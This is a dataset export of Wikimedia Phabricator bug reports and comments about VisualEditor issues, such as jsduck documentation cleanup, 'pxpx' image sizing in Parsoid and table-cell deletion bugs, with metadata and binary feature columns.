on.)"".",,,1379948638,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-nkihkps7zwe2jnpuv2vo,task_subcomment,,True,c1,3,False,,,12,,1,0,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,0,1,1,1,0,0,1,1,0,1,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,1,0,0,1,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,0
+53650,VisualEditor: Remove (and stop adding) useless documentation,"/**
+ * Creates an ve.Element object.
+ *
+ * @class
+ * @abstract
+ *
+ * @constructor
+ */
+ve.Element = function VeElement
+
+These and everything like are useless (not really explaining anything) and annoying (gets you excited to see a line of text only to find out its nothing) and makes the jsduck --nodoc utility unusable since a lot of things without documentation aren't without documentation.
+
+So, henceforth, it is ""okay"" for a doc block to be just tags with no description on top (or even just /** */ with nothing, which is all jsduck needs to include a property in its index).
+
+I (or someone else) will be ridding these at some point, but lets try and not duplicate them more (I won't take ""consistency"" as an argument here when creating something that is like something else that has a useless description, fill it in or don't copy it, don't spread the virus).
+
+Thanks
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1374197220,1530904290.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-4iqn2br77eamftwdpwfs,task_description,resolved,True,c1,3,True,True,False,2,,1,1,0,0,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,1,1,0,1,0,0,1,1,0,1,0,1,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,0,1
+235943,VisualEditor: Remove (and stop adding) useless documentation,"Change 146523 merged by jenkins-bot:
+Remove useless documentation, add more useful documentation
+
+https://gerrit.wikimedia.org/r/146523",,,1405459729,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4iqn2br77eamftwdpwfs,task_subcomment,,True,c1,3,False,,,54,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0
+235938,VisualEditor: Remove (and stop adding) useless documentation,"Change 146523 had a related patch set uploaded by Krinkle:
+Remove useless documentation, add more useful documentation
+
+https://gerrit.wikimedia.org/r/146523",,,1405459572,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4iqn2br77eamftwdpwfs,task_subcomment,,True,c1,3,False,,,54,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0
+235933,VisualEditor: Remove (and stop adding) useless documentation,"Change 125036 merged by jenkins-bot:
+Get rid of useless comments for classes
+
+https://gerrit.wikimedia.org/r/125036",,,1397086933,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4iqn2br77eamftwdpwfs,task_subcomment,,True,c1,3,False,,,40,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+235928,VisualEditor: Remove (and stop adding) useless documentation,"Change 125036 had a related patch set uploaded by Krinkle:
+Get rid of useless comments for classes
+
+https://gerrit.wikimedia.org/r/125036",,,1397086880,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4iqn2br77eamftwdpwfs,task_subcomment,,True,c1,3,False,,,40,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+235923,VisualEditor: Remove (and stop adding) useless documentation,Note that there is one (exactly one) piece of useful information in that comment: @abstract,,,1374259388,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-4iqn2br77eamftwdpwfs,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0
+53634,Page actions are wrong for VisualEditor,"mw.gettingStarted.logging.getPageSchemaAction returns the wrong values for VE.  For instance, it returns page-impression when the VE edit screen is open.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1374179400,1703380210.0,PHID-USER-dw53c5cb2qfhyemej57o,True,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-udzfkpaotefzeteimh7e,task_description,declined,True,c1,3,True,False,False,2,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+2251231,Page actions are wrong for VisualEditor,"#MediaWiki-extensions-GettingStarted has been removed from Wikimedia wikis and is getting archived per `T292654`. Thus declining this task to reflect reality.
+
+See e.g. #GrowthExperiments-NewcomerTasks or #GuidedTour instead nowadays for related use cases.",,,1703380210,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-udzfkpaotefzeteimh7e,task_subcomment,,True,c1,3,True,,,546,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+402798,Page actions are wrong for VisualEditor,">>! In T53634#991958, @Halfak wrote:
+> @aklapper  Hmm..  This should not be assigned to me.  I'm not sure how that happen.  
+
+See https://old-bugzilla.wikimedia.org/show_bug.cgi?id=51634 - it was assigned to you in 02/2014.
+
+Unassigning (you can also do that) and lowering priority here.",,,1422061964,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-udzfkpaotefzeteimh7e,task_subcomment,,True,c1,3,True,,,81,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,1,1,0,1,1,0,0,1
+402703,Page actions are wrong for VisualEditor,@aklapper  Hmm..  This should not be assigned to me.  I'm not sure how that happen.  ,,,1422052247,,PHID-USER-u64h73gx226teqcym3r5,True,,,PHID-TASK-udzfkpaotefzeteimh7e,task_subcomment,,True,c1,3,False,,,81,,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,0,1,0,0,0,0
+401803,Page actions are wrong for VisualEditor,">>! In T53634#544033, @Mattflaschen wrote:
+> getPageSchemaAction has been removed entirely, so I'm tempted to close this.  However, we will need to revisit if we want to track something like ""edit impressions"" again.
+
+@Halfak: Still working on this? If yes what's the progress, if no should the assignee be reset and is ""high priority"" still correct here?",,,1421788770,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-udzfkpaotefzeteimh7e,task_subcomment,,True,c1,3,True,,,81,,0,1,1,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,1,1,1,1,0,1,0,0,1,0,0,1
+235026,Page actions are wrong for VisualEditor,As part of the new VE tests we will need to have reliable instrumentation (adding Nuria and James to make sure they are aware of this change).,,,1392911323,,PHID-USER-qb5aoo443n6fezsozhv4,True,,,PHID-TASK-udzfkpaotefzeteimh7e,task_subcomment,,True,c1,3,False,,,33,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+235018,Page actions are wrong for VisualEditor,"getPageSchemaAction has been removed entirely, so I'm tempted to close this.  However, we will need to revisit if we want to track something like ""edit impressions"" again.",,,1392854320,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-udzfkpaotefzeteimh7e,task_subcomment,,True,c1,3,True,,,33,,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0
+235011,Page actions are wrong for VisualEditor,"When this is fixed, we should also try to put back page-save-attempt and page-save-success for both (we might do it just for wikitext again in the meantime).",,,1382567111,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-udzfkpaotefzeteimh7e,task_subcomment,,True,c1,3,True,,,16,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+235005,Page actions are wrong for VisualEditor,"Yes, good catch.  VE doesn't touch wgPostEdit, which we're using, at all.",,,1374191192,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-udzfkpaotefzeteimh7e,task_subcomment,,True,c1,3,True,,,2,,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+234999,Page actions are wrong for VisualEditor,"**swalling** wrote:
+
+Would this impact page-save-success logging for VE?",,,1374191007,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-udzfkpaotefzeteimh7e,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0
+53628,Images specified with size foopxpx render at native size,"If a stub template includes an image size declaration that includes ""px"" then that image is shown at native resolution in the editor.
+
+This was observed with [[Template:Cornwall-stub]] which originally had the code:
+{{asbox
+| image     = Flag of Cornwall.svg
+| pix       = 30px
+| subject   = [[Cornwall]]
+| category  = Cornwall stubs
+| name      = Template:Cornwall-stub
+}}
+
+When the ""pix"" parameter was changed to just ""30"" [https://en.wikipedia.org/w/index.php?title=Template:Cornwall-stub&diff=564819917&oldid=547286019] as was used by e.g. [[Template:Nigeria-stub]] the image size was displayed correctly. The icon has been rendering at correct size when rendered for reading, presumably since [https://en.wikipedia.org/w/index.php?title=Template:Cornwall-stub&diff=next&oldid=235904748 2009]. 
+
+Interestingly it renders as intended in VE when the template is initially placed, but does on every subsequent time it's opened in VE.
+
+Feel free to use [[User:Thryduulf/stubtemplate]] for testing (I'll leave it up at least until this bug is closed) as I have altered the actual Cornwall-stub template.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51826",Medium,50.0,1374171240,1393438887.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-7uebrq6s5hgkckkrqkv5,task_description,resolved,True,c1,3,False,False,False,2,,1,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,1,1,1,0,1,0,1,1,1,0,1,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,1,1
+2416201,Images specified with size foopxpx render at native size,"Uses of this ""trailing pxpx"" feature are now tracked, see T207032 and T15500, and this (kind of) feature will probably be removed in the future.",,,1726475742,,PHID-USER-povcbbfr2b6v4te3anc7,False,,,PHID-TASK-7uebrq6s5hgkckkrqkv5,task_subcomment,,True,c1,3,False,,,585,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0
+2402140,Images specified with size foopxpx render at native size,"Uses of this ""leading pxpx"" feature are now tracked, see T207032 and T15500, and this (kind of) feature will probably be removed in the future.",,,1724605148,,PHID-USER-povcbbfr2b6v4te3anc7,False,,,PHID-TASK-7uebrq6s5hgkckkrqkv5,task_subcomment,,True,c1,3,False,,,581,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0
+234705,Images specified with size foopxpx render at native size,"Change 114345 merged by jenkins-bot:
+Support trailing 'pxpx' in image size options.
+
+https://gerrit.wikimedia.org/r/114345",,,1392851785,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7uebrq6s5hgkckkrqkv5,task_subcomment,,True,c1,3,False,,,33,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,0
+234698,Images specified with size foopxpx render at native size,"Change 114345 had a related patch set uploaded by Cscott:
+Support trailing 'pxpx' in image size options.
+
+https://gerrit.wikimedia.org/r/114345",,,1392846794,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7uebrq6s5hgkckkrqkv5,task_subcomment,,True,c1,3,False,,,33,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,0
+234693,Images specified with size foopxpx render at native size,"(In reply to C. Scott Ananian from comment #8)
+> Yes, 'pxpx' is actually a ""feature"".  See bug 13500.
+
+groan!",,,1392846139,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-7uebrq6s5hgkckkrqkv5,task_subcomment,,True,c1,3,True,,,33,,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,1,1,1,1,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1
+234685,Images specified with size foopxpx render at native size,"Yes, 'pxpx' is actually a ""feature"".  See bug 13500.
+
+Working on a fix...",,,1392845150,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-7uebrq6s5hgkckkrqkv5,task_subcomment,,True,c1,3,True,,,33,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1
+234680,Images specified with size foopxpx render at native size,"Another concrete example:
+http://parsoid.wmflabs.org/arwiki/%D9%85%D8%B7%D8%A7%D8%B1_%D8%B3%D9%8A%D8%B3%D9%8A%D9%85%D9%8A%D9%88%D8%AA?oldid=11661406
+
+This bug increases a little bit the size of the offline dumps. I have estimated for example that on arwiki, ~200 pictures (calls) are impacted.
+
+It seems that the PHP related code is the function parseWidthParam() in Parser.php (but this doesn't seems to support things lik ""$1px"".",,,1385033707,,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,,PHID-TASK-7uebrq6s5hgkckkrqkv5,task_subcomment,,True,c1,3,False,,,20,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,0
+234676,Images specified with size foopxpx render at native size,*** Bug 54371 has been marked as a duplicate of this bug. ***,,,1380930193,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-7uebrq6s5hgkckkrqkv5,task_subcomment,,True,c1,3,False,,,13,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+234672,Images specified with size foopxpx render at native size,"We are supporting localized option patterns. In this case we get something like $1px, which does not match 30pxpx. We need to investigate why this works in the PHP parser, but not in Parsoid.",,,1376614949,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-7uebrq6s5hgkckkrqkv5,task_subcomment,,True,c1,3,True,,,6,,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+234667,Images specified with size foopxpx render at native size,*** Bug 51826 has been marked as a duplicate of this bug. ***,,,1374548109,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-7uebrq6s5hgkckkrqkv5,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+234663,Images specified with size foopxpx render at native size,"This happens on every infobox that uses
+https://de.wikipedia.org/wiki/Datei:Kazakhstan_location_map.svg
+e.g.
+https://de.wikipedia.org/wiki/Balqasch?veaction=edit
+
+Im seeing it on _some_ other SVG based location maps on German Wikipedia, but not many (1 in 15?)
+https://de.wikipedia.org/wiki/Almaty?veaction=edit
+https://de.wikipedia.org/wiki/Bosporus?veaction=edit
+
+Other similar issues
+https://de.wikipedia.org/wiki/Totes_Meer?veaction=edit
+https://de.wikipedia.org/wiki/Zittauer_Gebirge?veaction=edit",,,1374544369,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-7uebrq6s5hgkckkrqkv5,task_subcomment,,True,c1,3,False,,,3,,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,1,1,1,0,0,1,0,0,0
+234656,Images specified with size foopxpx render at native size,*** Bug 51845 has been marked as a duplicate of this bug. ***,,,1374544099,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-7uebrq6s5hgkckkrqkv5,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+234649,Images specified with size foopxpx render at native size,I've just been pointed to an older discussion about this issue at https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback/Archive_2013_07#Problem_with_image_and_other_information_in_an_infobox,,,1374183991,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-7uebrq6s5hgkckkrqkv5,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,1,0,0
+53624,VisualEditor: Delete immediately before (or backspace after) a table cell moves text out of/into cell,"User:NicoV at the English Wikipedia reports:
+*In [[The Drover's Boy]], if you put the cursor just before the table and hit Del, the first title (Song title) is put outside the table while Performes becomes the first title.
+*I saw this because I tried to insert a template just before the table, then deleted it => an empty line was visible before the table. When trying to delete this empty line, the first title was put outside the table.
+
+I did some more testing and can confirm that:
+*Pressing delete after the last character before a table deletes the first cell and moves the contents out of the table, and moves the second cell (including formatting) to the former position of the first cell. The position of the second cell is replaced with a blank cell.
+*The same happens when pressing backspace before the first character of the first cell
+*After repeating this sufficient times the contents of the last cell on the first line is moved out of the table and the line deleted.
+*Pressing delete after the last character in the last cell, or backspace before the first character after the last cell, moves the whole of the next line (or title) into the last cell of the table, preserving formatting and links, etc.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50286",Medium,50.0,1374166740,1429468017.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-ufv5laxxz2gup5mbsoae,task_description,resolved,True,c1,3,False,False,False,2,,1,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1
+445973,VisualEditor: Delete immediately before (or backspace after) a table cell moves text out of/into cell,"None of the reported issues happen any more. I think most of it was fixed a long time ago, I fixed the last stragglers with T92702.",,,1429468007,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-ufv5laxxz2gup5mbsoae,task_subcomment,,True,c1,3,True,,,93,,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,1,1,0
+234483,VisualEditor: Delete immediately before (or backspace after) a table cell moves text out of/into cell,"A user on Polish Wikipedia reports this is happening there, too. Please see Bug:61272.",,,1392229924,,PHID-USER-brn4v5ta45bnw4f5as3h,False,,,PHID-TASK-ufv5laxxz2gup5mbsoae,task_subcomment,,True,c1,3,False,,,32,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+234476,VisualEditor: Delete immediately before (or backspace after) a table cell moves text out of/into cell,"A user at en.wp has reported what appears to be the same bug also occurring with image captions:
+""Suppose an image lives between paragraphs 1 and 2. If I click before the first word of paragraph 2 and press ""backspace"", the rest of paragraph 2 gets moved into the caption of the image.
+
+Suppose an image lives between paragraphs 1 and 2. If I click after the last word of paragraph 1 and press ""delete"", the image disappears and the caption gets moved to the end paragraph 1.""",,,1374224206,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-ufv5laxxz2gup5mbsoae,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+53620,VisualEditor: Clarify beta explanation text,"User:Hhhippo notes that the language ""VisualEditor is in 'beta' and so many not let you edit everything yet"" is likely to be very confusing to those who are not techie or wiki insiders. New users may understand better if ""VisualEditor"" was explained or replaced with more general language such as ""This editing software"".
+
+While we're talking about clarifying language, I wonder if those same new editors would benefit from a note that they can use ""edit source"" if a feature they need does not work.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1374162360,1374257435.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-mc4ekk7vrriv5kycc2u2,task_description,resolved,True,c1,3,False,False,True,2,,1,1,1,1,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,1,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,1,0,1,0,1,1,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+234259,VisualEditor: Clarify beta explanation text,I think this is now better; closing.,,,1374257435,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-mc4ekk7vrriv5kycc2u2,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0
